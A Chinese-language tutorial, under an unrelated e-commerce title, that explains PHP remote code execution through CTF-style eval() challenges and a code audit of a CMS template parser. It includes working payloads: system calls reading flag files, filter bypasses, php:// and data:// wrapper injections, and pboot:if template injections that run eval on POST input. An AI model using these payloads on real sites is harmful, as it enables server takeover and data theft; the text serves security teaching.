網(wǎng)站怎么做微信支付寶電商網(wǎng)站開發(fā)平臺
在網(wǎng)絡(luò)安全領(lǐng)域,遠(yuǎn)程代碼執(zhí)行(RCE)漏洞因其嚴(yán)重性和破壞力而備受關(guān)注。RCE漏洞允許攻擊者在目標(biāo)系統(tǒng)上執(zhí)行任意代碼,從而掌控整個系統(tǒng),帶來極大的安全風(fēng)險。理解RCE漏洞的工作原理,并掌握其復(fù)現(xiàn)與代碼審計技巧,對于提升系統(tǒng)安全性至關(guān)重要。
本文將深入剖析RCE漏洞的原理,展示如何在實際環(huán)境中復(fù)現(xiàn)該漏洞,并提供詳盡的代碼審計方法。無論您是網(wǎng)絡(luò)安全初學(xué)者,還是資深開發(fā)者,都能從中獲得實用的知識和技能。讓我們一起解密RCE漏洞,提升我們的安全防護(hù)能力。
-
概念
- 遠(yuǎn)程代碼執(zhí)行(RCE)漏洞是一種嚴(yán)重的安全漏洞,它允許攻擊者在目標(biāo)系統(tǒng)上遠(yuǎn)程執(zhí)行任意代碼。通過利用RCE漏洞,攻擊者可以完全控制受害系統(tǒng),執(zhí)行惡意操作,如竊取敏感數(shù)據(jù)、安裝惡意軟件、破壞系統(tǒng)功能等。RCE漏洞通常存在于處理用戶輸入的代碼中,攻擊者通過注入惡意輸入并誘使系統(tǒng)執(zhí)行,從而達(dá)到控制目標(biāo)系統(tǒng)的目的。這類漏洞的利用不僅對系統(tǒng)安全構(gòu)成重大威脅,而且可能導(dǎo)致嚴(yán)重的經(jīng)濟(jì)損失和數(shù)據(jù)泄露,因此識別和修復(fù)RCE漏洞對確保系統(tǒng)安全至關(guān)重要。
-
利用函數(shù)
-
復(fù)現(xiàn)
-
基本使用
-
源碼
<?php error_reporting(0); //排除錯誤 if(isset($_GET['c'])){ //get傳參不為空,執(zhí)行if語句$c = $_GET['c']; //get傳參,賦值給變量cif(!preg_match("/flag/i", $c)){ //過濾flageval($c); //執(zhí)行c表達(dá)式}}else{highlight_file(__FILE__); }payload: ?c=system('tac fla*.php'); ?c=echo shell_exec('tac fla*'); ?c=`cp fla*.ph* 2.txt`;//再訪問2.txt即可
-
-
參數(shù)逃逸
-
源碼
<?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__); } ?> payload: ?c=eval($_GET[1]);&1=phpinfo();
-
-
-
偽協(xié)議
-
源碼同上
payload: ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>payload2 get:?c=include$_GET[a]?>&a=php://input post:<?php system('tac flag.php');?>payload3 ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
-
-
-
-
-
代碼審計
-
靶場搭建
- 靶場鏈接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
- 下載靶場,在config.php文件中填入授權(quán)碼,安裝靶場
- 靶場鏈接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
-
流程
-
導(dǎo)入文件,搜索常用的命令執(zhí)行函數(shù)eval
-
看到eval的來源變量matches
-
本文搜索matches的數(shù)據(jù)來源,來源于parserSiteLabel函數(shù)
-
全局搜索parserSiteLabel函數(shù),看到parserCommom函數(shù)
-
全局搜索parserCommom函數(shù),到達(dá)AboutController.php
- 名稱與網(wǎng)站對應(yīng)關(guān)系
-
有前端與后端結(jié)合可知,前端的留言板是在AboutController.php上的
-
好了,找了怎么久終于終于找到功能點了,現(xiàn)在回到最初的eval函數(shù),開始繞過
-
代碼
public function parserIfLabel($content){$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';// 對于無參數(shù)函數(shù)不執(zhí)行解析工作if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判斷是否存在elseswitch ($flag) {case 'if': // 條件為真if (isset($matches2[1])) {$out_html = $matches2[1];}break;case 'else': // 條件為假if (isset($matches2[2])) {$out_html = $matches2[2];}break;}} elseif ($flag == 'if') {$out_html = $matches[2][$i];}// 無限極嵌套解析if (preg_match($pattern2, $out_html, $matches3)) {$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);$out_html = $this->parserIfLabel($out_html);}// 執(zhí)行替換$content = str_replace($matches[0][$i], $out_html, $content);}} payload: 留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}payload2: 留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo(); //記得要在后臺把狀態(tài)打開,不然無回顯,頭疼!!!!
-
-
-
-
通過本次學(xué)習(xí),我們不僅深入了解了RCE漏洞的原理,還掌握了復(fù)現(xiàn)該漏洞的具體步驟和代碼審計的方法。安全防護(hù)不僅是技術(shù)問題,更是一種意識和態(tài)度。通過對RCE漏洞的全面剖析,我們能夠更好地識別和修復(fù)潛在的安全風(fēng)險,從而保護(hù)我們的系統(tǒng)和數(shù)據(jù)安全。
在信息安全的道路上,沒有終點。希望本文能為您在安全防護(hù)方面提供有價值的指導(dǎo)和幫助,激發(fā)您對網(wǎng)絡(luò)安全的持續(xù)關(guān)注和興趣。讓我們共同努力,構(gòu)建一個更為安全的網(wǎng)絡(luò)環(huán)境。如果您有任何疑問或?qū)氋F的建議,歡迎在評論區(qū)與我們互動。感謝您的閱讀,期待您的反饋與分享!